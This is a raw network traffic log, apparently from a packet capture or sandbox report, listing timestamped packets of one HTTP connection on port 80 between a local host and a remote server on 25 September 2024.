Sep 25, 2024 03:51:32.472098112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472099066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472126007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472138882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472460985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472471952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472482920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472495079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472507000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472513914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472518921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472532988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472543955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472553968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472742081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472753048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472764015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472775936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472785950 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472790956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472815990 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472850084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472862959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472877979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472892046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472894907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472903967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472904921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472917080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472929001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472937107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472942114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472954988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472966909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472970963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472995043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.473015070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.473337889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473350048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473361015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473397017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.473519087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473539114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473553896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473566055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473578930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473589897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473592043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.473602057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473613024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473618984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.473624945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473635912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473647118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.473647118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473659992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473670006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473680973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473685980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.473694086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473696947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.473711014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473716021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.473723888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473737001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473747015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.473750114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473758936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.473762989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.473792076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.474484921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474508047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474522114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474531889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474545002 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.474549055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474564075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474572897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.474575996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474590063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474591970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.474601984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474617004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474627018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474632978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474634886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.474641085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474646091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474653006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.474657059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474663973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.474670887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474680901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.474684954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474697113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474714994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474725962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474736929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474749088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474761009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.474777937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.474802017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.474802017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.474812984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.475301981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.475312948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.475325108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.475337029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.475353003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.475358009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.475366116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.475368023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.475433111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.498246908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.498264074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.498275995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.498382092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.498435020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.498445988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.498456001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.498466969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.498477936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.498497963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.498512983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.498522997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.561866999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.561878920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.561892033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.561912060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.561932087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.561943054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.561948061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.561976910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.561996937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.562043905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562071085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562088013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562098026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562114000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.562144995 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.562225103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562237978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562248945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562261105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562274933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562285900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.562304974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.562419891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562432051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562470913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.562551975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562563896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562575102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562582016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562596083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562597036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.562621117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.562644958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.562822104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562835932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562848091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562859058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562870979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562885046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562887907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.562896967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562896967 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.562911034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562922955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.562932014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.562954903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.563127041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563138008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563148975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563154936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563162088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563173056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563185930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563189983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.563210011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.563225985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.563417912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563436985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563448906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563461065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563472033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563483953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.563483953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563505888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563515902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.563518047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563529968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563536882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.563561916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.563735962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563749075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563767910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563796043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.563813925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.563920021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563932896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563941956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563952923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563962936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563975096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563985109 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.563987017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.563999891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564012051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564023972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564028025 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564037085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564049006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564058065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564060926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564074993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564081907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564088106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564099073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564100981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564117908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564136982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564655066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564675093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564686060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564697981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564709902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564723015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564735889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564742088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564747095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564759016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564770937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564771891 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564783096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564785957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564794064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564804077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564806938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564820051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564829111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564832926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564845085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564857006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564863920 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564867973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564879894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564891100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.564891100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564939976 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.564959049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.565521002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565531969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565541983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565553904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565567017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565574884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.565577984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565591097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565601110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565612078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565617085 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.565624952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565633059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.565638065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565651894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565663099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565664053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.565677881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565689087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565701008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565704107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.565713882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565728903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.565728903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.565751076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.565778971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.566103935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.566116095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.566134930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.566148043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.566159964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.566164017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.566174030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.566185951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.566190004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.566198111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.566211939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.566211939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.566227913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.589382887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.589396954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.589409113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.589440107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.589452028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.589457989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.589467049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.589473009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.589482069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.589504957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.589535952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.653142929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653162003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653173923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653183937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653197050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653209925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653222084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.653223038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653261900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.653304100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653316975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653328896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653342009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653354883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653366089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.653387070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.653405905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.653433084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653492928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653506041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653515100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653548002 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.653573036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.653652906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653670073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653681040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653687000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653702021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653729916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.653744936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.653939962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653951883 CEST	80	49730	3.80.28.180	192.168.2.4
